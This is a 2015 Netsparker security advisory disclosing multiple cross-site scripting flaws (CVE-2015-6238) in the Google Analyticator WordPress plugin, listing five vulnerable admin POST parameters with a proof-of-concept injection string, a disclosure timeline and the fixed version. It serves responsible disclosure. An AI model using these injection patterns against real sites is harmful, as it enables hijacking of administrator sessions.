Google Analyticator 6.4.9.4 Cross Site Scripting
Posted on 25 August 2015
Information -------------------- Advisory by Netsparker. Name: Multiple XSS Vulnerabilities in Google Analyticator Affected Software : Google Analyticator (WordPress Plugin) Affected Versions: 6.4.9.4 and possibly below Vendor Homepage : https://wordpress.org/plugins/google-analyticator/ Vulnerability Type : Cross-site Scripting Severity : Important Status : Fixed CVE-ID : CVE-2015-6238 Netsparker Advisory Reference : NS-15-013 Description -------------------- By exploiting a Cross-site scripting vulnerability the attacker can hijack a logged in user’s session. This means that the malicious hacker can change the logged in user’s password and invalidate the session of the victim while the hacker maintains access. As seen from the XSS example in this article, if a web application is vulnerable to cross-site scripting and the administrator’s session is hijacked, the malicious hacker exploiting the vulnerability will have full admin privileges on that web application. Technical Details -------------------- Proof of Concept URLs for XSS in Google Analyticator 6.4.9.4: Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator Parameter Name ga_adsense Parameter Type POST Attack Pattern x'" onmouseover=alert(9) Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator Parameter Name ga_admin_disable_DimentionIndex Parameter Type POST Attack Pattern x'" onmouseover=alert(9) Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator Parameter Name ga_downloads_prefix Parameter Type POST Attack Pattern x'" onmouseover=alert(9) Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator Parameter Name ga_downloads Parameter Type POST Attack Pattern x'" onmouseover=alert(9) Url http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator Parameter Name ga_outbound_prefix Parameter Type POST Attack Pattern x'" onmouseover=alert(9) For more information on cross-site scripting vulnerabilities read the following article: https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/ Advisory Timeline -------------------- 14/08/2015 - First Contact 24/08/2015 - Vendor Fixed 24/08/2015 - Advisory Released Solution -------------------- https://downloads.wordpress.org/plugin/google-analyticator.6.4.9.6.zip Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker finds and reports security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. For more information visit our website on https://www.netsparker.com -- Onur Yılmaz - National General Manager Netsparker Web Application Security Scanner <https://www.netsparker.com> T: +90 (0)554 873 0482
